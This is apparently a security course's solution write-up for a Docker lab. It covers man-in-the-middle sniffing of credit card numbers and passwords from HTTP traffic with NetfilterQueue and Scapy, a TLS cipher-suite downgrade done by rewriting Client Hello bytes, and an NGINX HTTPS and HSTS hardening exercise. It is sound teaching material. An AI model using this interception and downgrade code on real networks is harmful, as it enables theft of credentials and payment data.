Network Sniffing and TLS Downgrade - Solution

- Exercise 1: [attack] Sniffing credit cards numbers
  - Setting up the MitM
  - Building the MitM script
- Exercise 2: [attack] TLS Downgrade
  - Spotting TCP handshakes
  - Spotting the cipher suite
  - Changing the suite
- Exercise 3: [defense] Secure NGINX configuration
  - Part A
    - Quick word on locations
  - Part B
    - Creating the certificate
    - Updating Nginx
  - Part C
    - About HSTS

Exercise 1: [attack] Sniffing credit cards numbers

The goal of this exercise is to set up a MitM (man-in-the-middle) attack, where we divert to our machine non encrypted traffic sent by naïve users. Once the packets have been captured, they can be analyzed to steal important information, and finally forwarded to their original destination. This is done in order to be harder to detect by the users (as the packets will reach their destination), therefore giving us the possibility to steal more data in the future.

Setting up the MitM

As the premise of the exercise suggests, we first need to set ourselves as the MitM. In order to do this, we follow these steps:

0. Open a text editor, to note down names, IP addresses,… it will come in handy later.
1. First of all, we launch the containers as described in the provided `compose.yaml` via `docker compose up -d --build`.
2. Now that the containers are running, we want to check the IP of our MitM container, in order to be able to set it as the client's default gateway. To do this, we start by opening a shell in the mitm container with the command `docker compose exec mitm /bin/bash`. Then, we use the command `ip addr` to check our local IP address for `eth0`, e.g., `192.168.112.3`. Another solution is to use `docker inspect mitm` and look for the IP.

   Note IP addresses may change for you; make sure you understand which IP belongs to which device. We write the following correction with one possibility of IP combinations.
3. Next step requires entering the client (`docker compose exec client /bin/bash`), with the goal of first deleting, then replacing the current default route, so that all the traffic outside our local network goes through the MitM. In order to do this, we first enter the following command `ip route del default`. Then `ip route`

add default via 192.168.112.3. If we want to make sure we did it right, we can just launch the command ip route: the response will show default via 192.168.112.3 dev eth0.

4. Following the instructions in the handout (pasting the commands in the mitm shell), we allow forwarding of packets from the mitm, and we make it act like a NAT.

In order to confirm the results of our work, we can launch a command such as traceroute 1.1.1.1 from the client's shell. Without going into much detail, the command shows all the hops the packets go through before reaching their destination. If we have completed the setup correctly, the first hop will be our mitm machine.

The sysctls part in the compose.yaml file enables IP traffic forwarding for the containers' network namespace; this is required so that the mitm container can actually act as a router. By default, IP forwarding is disabled and the packets would get "stuck" in the mitm container and wouldn't be forwarded to the actual destination.

As already stated in the handout, these steps require *a bit* of cheating, as we are opening a shell in the client: this is indeed not an easy task, and was allowed in this exercise for simplicity's sake. In a real life scenario, however, the same result would be achievable by setting up a Rogue DHCP server, that, upon client connection, would offer the address of the MitM as a default gateway. You can also use ARP spoofing, where you basically spam the target with the message "I'M THE DEFAULT GATEWAY"; when they send an ARP request to know who is the gateway, they will receive your response first and ignore the legitimate one.

Building the MitM script

Now that we have completed all the preparation, our goal is to build a script that can:

1. Intercept the packets sent by the client;
2. Filter the interesting packets, that present the structure reported in the handout;
3. Print interesting results, thus providing us the secrets we are looking for.

As suggested in the handout, the NetfilterQueue and Scapy libraries come in handy to build the script.

After executing the necessary steps to forward packets to the Queue, described in the handout, we can start building the script. This will look a lot like the basic NetfilterQueue example shown in the documentation, with a big difference in the content of the callback function, that will have the task of looking inside the packets and filtering them. Let's recall the basic NetfilterQueue example:

```python
from netfilterqueue import NetfilterQueue

def print_and_accept(pkt):
    print(pkt)
    pkt.accept()

nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_accept)
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')

nfqueue.unbind()
```

In short: we create a queue, create a custom function, and bind it to the queue, so that each packet is passes through. The custom function **must** finish by `packet.accept()` so it goes through. As we only sniff without modification, it's fast enough and doesn't require special magic. So we now only have to craft a nice custom function, to replace `print_and_accept`.

In order to correctly get to the information we are looking for, we turn the NetfilterQueue packet into a Scapy one:

```
from scapy.layers.inet import IP
...
packet = IP(pkt.get_payload())
```

Next step is to filter and keep only packets on the HTTP layer, and that are requests (not answers, because the secrets come from the user). We don't want TCP packets (ACK,...), but one that comes from above. You can get a good idea of the packets by using the method `packet.layers()`. To keep only the ones we're interested in, we apply the filter:

```
from scapy.layers import http
...
if packet.haslayer(http.HTTPRequest):
    do_things
```

OK, so now only HTTP requests packets are arriving. We want to look at the content now, and remove all the extraneous info. From the packet, we do the following:

- Look at the http layer;
- Take a look at the fields;
- Keep only the field `Unknown_Headers` (because obviously this is where the secret is);
- Keep only the `secret` header (notice the b in front, the string could be arbitrary binary data);
- Decode to have it in utf-8.

This gives the following line:

```
data = packet[http.HTTPRequest].fields["Unknown_Headers"][b"secret"].decode()
```

Running the previous lines, we obtain the following (exemplary) output:

```
iGU8QHIC5DC2 cc --- 8452.8214.9088.8566 imFZBAY33dH7ApVnitRJVVxlPbi
S1nHw3yUNW9HkBFuTg8b pwd --- VERYSECURE1111 18fuxn3iq83NvO
Teqyo9mONkbT1dMxuQAEnbdOgTHdDpgfZlvBdxgatNLJHezqX9ZaS3gQUWw
eTjx8hb4ZMQa7
cYOn cc --- 1094.5623.4.45 1So5cgSGVojjlPMvqClcF81gnbyd5VElDUkaNH
ZmVWy91i
p1A3gwAidnKaL6AuggavmerNjdFo
xL47O9zztPG26PyfOFroXRcfPd0s5mRMlaG pwd --- VERYSECURE1111 vGGfAtUZlhKetJ6mEnLuhzZT3Sm8eixV
wjjPv22EuKMacV9NsBj1LuvSJYsTJpQ1P5cb
vDiRSZe3GHuZfPAKwdo01ftim5nFZGlzVTrGU0weTpsDkzUQKRGZVQ
vbQ10ktR5cvpGpLBTTHZnYZ
sdfIMvtgRL069fTsqWOTgtEG1WKi4jSBZ5V3dsQDayiI2O3Pl6RUznQTWvwdzFT271IqIOOeAPWXAQ1FtxWaT
hcarKomBmex8afJqPAYXDDr6FHKMz5nteqNhtO31Ha78JPxgJyjnZLMrCFMuLxFrEz9a334ajZYYStz64
qbNl9cPv4ayzL8fKRYpP4NVARMP7Mfc7BOjFLOnDJpQLafFYTjXzuXz77cowol6SBvdktVDhZCL7kD
vJ9EqM5p8xlEfTSnmApHpOKZFfdY6IuPIz7dNfNmHSfqEyZnNI9OOVZrLyYG
h1vKiNjHhEUxbfBPopQbBdjnZkdr33ktGCJ4a0aFiYD06M8f5bpNic7BzMtGK3EV6GHLdC5S2m7rhFYmHN8n7FTH0Jz
NL86eZ1O1jxXOenUJJztZtqOJmM7I5PL6jQx8SipuSHbtQskvTGc3dmz4D5yNN2NfSwHoRWhg1hPHCpKWFSMfC4VnGxLP
d9WacSWHhYhCxVhxiz9AkOeOdCz5APjD9eSiDgeZHjM5zpWtd3ITVPcltRyZo1oPQcxvqHserNwI3nhFK2PtibLMlK
s8zzxWS9LPiqbovA9917JJhhTflVNo8Cv572GnHFTr2kRWXnHycecnv6UwyobN9eOEe7fZpXio
```

From that, we could technically already let it run, and by inspection find the passwords and CC numbers. But there is a major problem: we are lazy (the IT kind). We want to let it run and have a list of secrets by the end, all while watching Twitch. Is it worth the time? Probably not, but we'll do it anyway.

So from here, we want to match the content against regular expressions. In order to filter the packets, we use the re library to compile 2 different regex patterns that we will later use to match the incoming bytes of data. The following patterns achieve what we want:

```
credit_card_pattern = re.compile(r"cc\s+---\s+((?:[0-9]{4}\.){3}[0-9]{4})")
pass_pattern = re.compile(r"pwd\s+---\s+([0-9A-Z:;<=>?@]+)")
```

Quick explanation (you can have fun with this website to test your regex): * **credit card**: we await the literal string `cc`, then at least a space (`\s+`), 3 dashes (`---`), and again at least a space. This is the detection part. Then we create a capturing group `()`, composed of 2 parts: the first one is a repeating non-capturing group `(?:...){3}`. This defines a group that won't be captured, that must appear exactly thrice (if you are confused by the reason why we need a non-capturing group, copy-paste the regex to the aforementioned website and try removing the *?:* from the regex. *regex101* will show you a clear explanation of what happens then). The second part is the rest of the capturing group. So what we capture here is the pattern `[0-9]{4}\.` (4 digits followed by a dot 3 times, then `[0-9]{4}`, which is again 4 digits (without trailing dot).) * **Password**: The password is described as *a mix of 0-9 digits, uppercase letters A-Z, symbols :;<=>?@.*. The regex is thus very similar to the previous: we first need `pwd\s+---\s+` to indicate the literal `pwd`, followed by spaces, 3 dashes, and spaces again. After that, the password begins: we define a characters set `[]` with all the characters defined above: `[0-9A-Z:;<=>?@]`. We then say that we expect a string composed of only those characters, of length at least 1. Then we wrap that with a capturing group.

Now, last step, we need to look for those regex in each packet (valid packet, as defined above).

```
import sys()
...
secrets = set()
...
# findall returns a list with all matches, empty if no match
# [] + ["somesecret"] = ["somesecret"]
sec = credit_card_pattern.findall(data) + pass_pattern.findall(data)
if len(sec) > 0 and sec[0] not in secrets:
    print("New secret found: {}".format(sec[0]))
    secrets.add(sec[0])
if len(secrets) >= 3:
    print("Found all secrets: {}".format(secrets))
    sys.exit()
```

If the secret is new, we add it to our set; otherwise, we just ignore it. Once 3 different secrets have been found, our mission has been accomplished, and we can quit the program.

Exercise 2: [attack] TLS Downgrade

Here, we will largely copy the structure of the previous exercise. After setting up similarly the interfaces, NAT,... we create the skeleton for the interception:

```
from netfilterqueue import NetfilterQueue
from scapy.all import *

def packetReceived(pkt):
    # code here
    pkt.accept()
    return


nfqueue = NetfilterQueue()
nfqueue.bind(0, packetReceived)
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')
nfqueue.unbind()
```

Inside `packetReceived` we can now do our nasty affairs. We start by converting the packet to a scapy one:

```
ip = IP(pkt.get_payload())
```

Spotting TCP handshakes

First of all, let's look at the raw layer, where all the magic happens:

```
if ip.haslayer("Raw"):
    tcp_payload = ip["Raw"].load
```

We now have a raw TCP payload, in bytes. Not very talkative, but we are talented.

Let's dive deep in the code. If you look at the provided resource, you can have a glance at what a *TLSv1.2 header* looks like. We learn that the first byte of the TLS record header is `0x16` to indicate a handshake, and the 2 following are the major and minor byte of the version (major is almost always `0x03`, minor ranges between `0x00` and `0x03`).

So we filter that:

```
if (tcp_payload[0] == 0x16 and tcp_payload[1] == 0x03):
    # this is a TCP handshake
```

Spotting the cipher suite

If you fire up Wireshark, and capture some packets, you will see the `TLSv1.2 Client Hello` packets. Inspect one, and you'll notice a few things:

- The first bytes in the Secure Sockets Layer are indeed `0x16` and `0x3000`, corresponding to the expected RFC: it's a handshake, of version SSL 3.0.
- Then you have the actual handshake, with it's version: TLSv1.2 (`0x0303`)
- Then 32 bytes of randomness
- Then a few bytes
- And finally the Cipher Suites. Only one here (`TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)`)

After some counting, you see that those last bytes are respectively in position 46 and 47 of the payload. So we filter for that too:

```
if (tcp_payload[46] == 0x00 and tcp_payload[47] == 0x35):
    # this is a TCP handshake with cypher TLS_RSA_WITH_AES_256_CBC_SHA
```

Changing the suite

Now that we identified the packet that tells the server "Please use AES 256", we have two choices: either drop it completely, resulting in a DoS (and maybe in a shift toward HTTP), or change the message. In the latter case, we can arbitrarily chose a weak suite that we can attack later on.

Note that we usually can't chose any weak suite but we still have some room to maneuver. While servers shouldn't accept too weak/old cipher suites, many of them still do to a certain degree, simply because denying them will keep some of your customers out (even if they *really* should have upgraded their browser by now…). So we can lower security a bit, but not too much. In more advanced attacks, you would select all the suites that you like, in "increasing security" order and present that to the server. They will then select the weakest they can. But to keep things simple, we'll just downgrade AES-256 to AES-128.

Let's select the AES-128 (formally, `TLS_RSA_WITH_AES_128_CBC_SHA`) cipher suite. Looking at the RFC, we see the corresponding bytes are `0x00, 0x2F` (instead of `0x00, 0x35`). So just one byte to change, great.

Now let's get the complete frame and alter it:

```
msg_bytes = bytearray(pkt.get_payload())
msg_bytes[112] = 0x00  # actually useless, it's the same
msg_bytes[113] = 0x2F
pkt.set_payload(bytes(msg_bytes))
```

Wait a second, why 112 and 113 ?

It's now time we speak about the difference between the payload and the frame. Up until now we spoke about absolute positions of bytes (e.g. we took the 47 and 48th bytes of the TCP payload to filter the cipher suite). This was inside the TCP payload. In Wireshark, this corresponds to the bytes in the *Secure Socket Layer* tab. But with `pkt.get_payload()`, you get the whole payload. This includes the 66 bytes of the other layers (previous tabs in Wireshark). So the attack is shifted by 66 bytes (and $66+46 = 112$).

Finally, we accept the (modified) packet, and the attack will succeed.

If you now run `docker compose logs -f` in the directory with the `compose.yaml`, you'll see that the client reports choosing a cipher suite with AES-128. Comment out the line where the payload is updated and run your script again, the client should now report choosing the stronger AES-256 cipher suite again.

Exercise 3: [defense] Secure NGINX configuration

Part A

This one is rather straightforward. The default configuration should look something like that:

```
server {
    listen       80; # listen on port 80
    server_name  localhost; # optional

    location / {
        root /www;
    }
}
```

Basically:

- Create a “server” instance, for independent configuration.
- Listen on port 80.
- (Opt) Indicate the server name; useful when you expect multiple websites (e.g. 20minutes.ch and 20minuten.ch, the FR and DE versions both point to the same IPs). This will do an additional filter.
- Then indicate the location.

Quick word on locations

Locations in Nginx can be tricky. In particular, when a page is requested, nginx looks through all rules. But they don’t apply in order (i.e. sees if first one fits, then second,...) but rather on a “which one fits best” mode. Say, we have these two locations:

```
location / {
    root /www
}

location /static {
    root /www/someplace/imadeup/onmycomputer/
}
```

We could be tempted to think that a request to `/static/images/cutecat.jpg` would trigger the first one (and the server would serve `/www/static/images/cutecat.jpg`). But no: because the second one “fits better” (because of the `/static/`), nginx will look for the file to serve at `/www/someplace/imadeup/onmycomputer/static/images/cutecat.jpg`. On the other hand, requesting `/images/cutedog.jpg` will trigger the first rule only.

Part B

Self-signed certificates, while not useless, are not widespread. The point of a certificate is to say that “I am the true owner of this website, this is the true website, and someone can prove it”. When serving your website, you will also serve the certificate. The browser then checks that someone of authority has emitted that certificate. If it didn’t, and everyone was using self-signed certificates, everybody could simply create their own certificate for https://swisscom.ch. Then an attacker could hijack/redirect connections to their own server, and the visitor would have no way of knowing whether they are visiting the pirate website or the legit one. The certificate would still provide confidentiality (through transport encryption) for attackers passively sniffing the network stream. This is sometimes used in closed networks, or with limited public access (e.g., company intranets). Potentially, your WiFi router at home also provides a web interface for configuring Internet access, WiFi networks, etc. which you can secure by enabling HTTPS for the web interface. In this case, the router likely will generate a self-signed certificate that you need to manually trust first.

Creating the certificate

As mentioned, you should not just create a certificate blindly. Instead, incorporate this into the `Dockerfile` as an additional step. Instead of filling the prompt as suggested on the DigitalOcean blog post, we add the `-subj` flag. The command we wish to run is

```
openssl req \
    -x509 \
    -nodes \
    -days 365 \
    -newkey rsa:2048 \
    -keyout /certs/selfsigned.key \
    -out /certs/selfsigned.crt \
    -subj "/C=CH/ST=Vaud/L=Lausanne/O=server/OU=server/CN=server"
```

We simply add a new line in the Dockerfile:

```
RUN openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
      -keyout /certs/selfsigned.key -out /certs/selfsigned.crt \
      -subj "/C=CH/ST=Vaud/L=Lausanne/O=server/OU=server/CN=server"
```

The key and certificate will automatically be generated and put into the `/certs/` directory when you rebuild the image (with `docker compose build`).

Updating Nginx

The last step is to adapt the Nginx configuration file. First of all, we need to redirect all HTTP traffic to HTTPS. For that, we modify the main location:

```
location / {
    # root /www;
    return 301 https://$host$request_uri;
}
```

We comment out the previous line, and redirect (using the 301 REDIRECT HTTP status) to the HTTPS version of the website.

Then, we need to treat that new case separately. Thus, we create a new `server` entry that listens on the HTTPS port:

```
server {
    listen 443 ssl;
    server_name localhost;
    ssl_certificate /certs/selfsigned.crt;
    ssl_certificate_key /certs/selfsigned.key;

    location / {
        root /www;
    }
}
```

This code is very similar to before. Now we listen on port 443 (the `ssl` keyword specifies that *all connections accepted on this port should work in SSL mode* [source]). The location is a copy-paste from before.

But how do we make nginx use the certificates? There is a simple nginx command for that:

```
ssl_certificate /certs/selfsigned.crt;
ssl_certificate_key /certs/selfsigned.key;
```

This specifies the location of the key and certificate. Obviously, for now, these are the self-signed ones. These two lines go about anywhere in the `server` block, but it's best practice to put them between the `server_name` and `location` clauses.

Part C

This part is a bit more tricky. Before, you had the server generate the key/certificate on its own. Here, you must generate the key and the Certificate Signing Request first (we assume you do it from your computer, but you should be able to do that inside the `verifier` container, then copy it back to your computer via the bind mount volume).

Once you have generated the CSR and put it into the correct location, you need to launch the verifier which will sign the certificate, and create a `.crt` file.

Only after that should you move all of that to the `./server` directory, and adapt the `Dockerfile`.

In summary:

1. Generate a key and a CSR:

   ```
   openssl genrsa -out request.key 2048
   openssl req -new -key request.key -out request.csr \
     -subj "/C=CH/ST=Vaud/L=Lausanne/O=server/OU=server/CN=server"
   ```

2. Launch the docker: `docker compose up --build`. This will fail part C, as expected. But this also creates a new `request.crt` file.

3. Copy/move all `request.*` files to `./server`

4. Adapt the `Dockerfile` to use these. Don't forget to remove the `RUN openssl...` from before (not mandatory, but cleaner).

   ```
   COPY --chmod=0640 ./server/request.key /certs/request.key
   COPY --chmod=0640 ./server/request.crt /certs/request.crt
   ```

5. Make sure the nginx config file looks for the correct files. Instead of the files `selfsigned.crt`, use those:

   ```
   ssl_certificate /certs/request.crt;
   ssl_certificate_key /certs/request.key;
   ```

And TADAAA! You should now have a valid, signed certificate.

About HSTS

This part is very simple: simply add, after the `ssl_certificate` lines, the following command:

```
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
```

The number specifies the header validity (a whole year). Simply adding that should make the last test pass flawlessly.